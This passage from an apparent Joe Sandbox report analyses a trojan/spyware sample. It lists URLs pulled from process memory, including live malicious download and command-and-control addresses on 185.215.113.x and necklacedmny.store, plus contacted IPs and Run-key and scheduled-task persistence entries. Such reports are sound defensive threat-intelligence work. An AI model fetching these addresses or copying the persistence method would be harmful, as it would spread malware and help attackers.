https://json-schema.org/draft/2019-09/schema.	firefox.exe, 0000001B.00000002.2785119034.000001C1752B5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/ws	1171a5b648.exe, 0000000A.00000002.2531875867.0000000000F91000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType	firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001B.00000003.2680870116.000001C1770FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2785119034.000001C1752E8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com	firefox.exe, 0000001B.00000002.2733122243.000001C164C03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2762165135.000001C1731A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597108445.000001C17481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597604309.000001C17485A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597314679.000001C17483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2596897657.000001C174600000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001B.00000002.2780914101.000001C174EE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2780914101.000001C174E6C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/breach-details/	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService	firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/test/num.exe.phpe	skotes.exe, 00000008.00000003.2586871120.0000000000D14000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()	firefox.exe, 0000001B.00000002.2773817495.000001C174760000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001B.00000002.2785119034.000001C1752E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2596897657.000001C174600000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.com/	firefox.exe, 0000001B.00000002.2757990027.000001C1726D1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://compose.mail.yahoo.co.jp/ym/Compose?To=%s_finalizeInternal/this._finalizePromise	firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php/u	1171a5b648.exe, 0000000A.00000002.2531875867.0000000000F91000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001B.00000003.2598025300.000001C174877000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2762165135.000001C1731A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597108445.000001C17481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597604309.000001C17485A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597314679.000001C17483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2596897657.000001C174600000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%sextractScheme/fixupChangedProtocol	firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 0000001B.00000002.2773817495.000001C174760000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/sets	firefox.exe, 0000001B.00000002.2736051759.000001C170326000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.com/	firefox.exe, 0000001B.00000003.2678449963.000001C1780DE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://content-signature-2.cdn.mozilla.net/	firefox.exe, 0000001B.00000002.2778559508.000001C174DA9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://json-schema.org/draft/2020-12/schema/=	firefox.exe, 0000001B.00000002.2785119034.000001C1752B5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	firefox.exe, 0000001B.00000002.2736051759.000001C1703AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723930872.00000154760CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B7970E9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store	file.exe, 00000000.00000003.1845555563.000000000115F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.accounts.firefox.com/v1	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/common	firefox.exe, 0000001B.00000002.2736051759.000001C170326000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ok.ru/	firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 0000001B.00000002.2773817495.000001C174760000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://www.amazon.com/	firefox.exe, 0000001B.00000002.2757990027.000001C1726C0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://fpn.firefox.com	firefox.exe, 0000001B.00000002.2749174259.000001C171944000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2733122243.000001C164C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171937000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.widevine.com/	firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1681589317.0000000005A57000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2454915918.00000000052B9000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2586097370.000000000589C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/dates-and-times	firefox.exe, 0000001B.00000002.2736051759.000001C170347000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	firefox.exe, 0000001B.00000002.2736051759.000001C1703AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723930872.00000154760CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B7970E9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1710536218.0000000005A41000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2483187164.000000000537D000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2630536673.00000000058A0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001B.00000002.2742669039.000001C17097D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/za	6cadd3f0fd.exe, 0000000D.00000003.2689945232.0000000001066000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1681589317.0000000005A57000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2454915918.00000000052B9000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2586097370.000000000589C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B79700A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://email.seznam.cz/newMessageScreen?mailto=%shttps://outlook.live.com/default.aspx?rru=compose&	firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpcY	1171a5b648.exe, 0000000A.00000002.2531875867.0000000000F74000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled	firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001B.00000002.2746480848.000001C170DE6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B7970C4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:	firefox.exe, 0000001B.00000002.2764741953.000001C17457D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/bestMatchEnabledtoolkit.scrollbox.scrollIncrementtoolkit.scrollbox.c	firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mo	firefox.exe, 0000001B.00000002.2749174259.000001C171978000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C17191A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://amazon.com	firefox.exe, 0000001B.00000002.2749174259.000001C171978000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1238180Required	firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://addons.mozilla.org_migrateXULStoreForDocumentdevice-connected-notificationbrowser.handlers.m	firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/9Sbqj	6cadd3f0fd.exe, 0000000D.00000003.2689945232.0000000001066000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000000.00000003.1845555563.000000000115F000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2731093184.0000000000778000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B797012000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	file.exe, 00000000.00000003.1681333174.0000000005A40000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2585195417.0000000005885000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iqiyi.com/	firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/addonsFeatureGate	firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://poczta.interia.pl/mh/?mailto=%shttp://compose.mail.yahoo.co.jp/ym/Compose?To=%s_finalizeInter	firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/addonsShowLessFrequentlyCap	firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled	firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/bestMatchBlockingEnabled	firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	1171a5b648.exe, 0000000A.00000003.2488093515.0000000004E2B000.00000004.00001000.00020000.00000000.sdmp, 1171a5b648.exe, 0000000A.00000002.2529289944.000000000011C000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001C.00000002.2604375299.0000000000EAC000.00000008.00000001.01000000.00000013.sdmp, 1171a5b648.exe, 0000001F.00000003.2632031246.0000000004EFB000.00000004.00001000.00020000.00000000.sdmp, 1171a5b648.exe, 0000001F.00000002.2685024844.000000000011C000.00000040.00000001.01000000.0000000F.sdmp, num[1].exe.8.dr	false	URL Reputation: safe	unknown
https://firefox.settings.services.mozilla.com/v1MOZ_GOOGLE_LOCATION_SERVICE_API_KEYParent	firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://youtube.com/accoSt?=https://a	firefox.exe, 0000001B.00000002.2719893448.0000000A46FD8000.00000004.00000010.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
188.114.97.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.142	youtube.com	United States	15169	GOOGLEUS	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545816
Start date and time:	2024-10-31 04:14:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	51
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@84/34@101/14
EGA Information:	Successful, ratio: 16.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.11.191.138, 35.160.212.113, 54.185.230.140
Excluded domains from analysis (whitelisted): fs.microsoft.com, services.addons.mozilla.org, ciscobinary.openh264.org, shavar.prod.mozaws.net, slscr.update.microsoft.com, otelrules.azureedge.net, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, fe3cr.delivery.mp.microsoft.com, normandy.cdn.mozilla.net, a19.dscg10.akamai.net, ocsp.digicert.com, redirector.gvt1.com, safebrowsing.googleapis.com, normandy-cdn.services.mozilla.com, location.services.mozilla.com
Execution Graph export aborted for target 6cadd3f0fd.exe, PID 7516 because there are no executed function
Execution Graph export aborted for target EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe, PID 8012 because it is empty
Execution Graph export aborted for target file.exe, PID 7492 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 6772 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8176 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:15:19	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
03:16:13	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 6cadd3f0fd.exe C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe
03:16:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1171a5b648.exe C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe
03:16:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 275df0ca27.exe C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe
03:16:39	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1002779001\num.exe
03:16:48	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 6cadd3f0fd.exe C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe
03:16:57	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1171a5b648.exe C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe
03:17:05	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 275df0ca27.exe C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe
03:17:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1002779001\num.exe
23:14:54	API Interceptor	11x Sleep call for process: file.exe modified
23:16:01	API Interceptor	5787044x Sleep call for process: skotes.exe modified
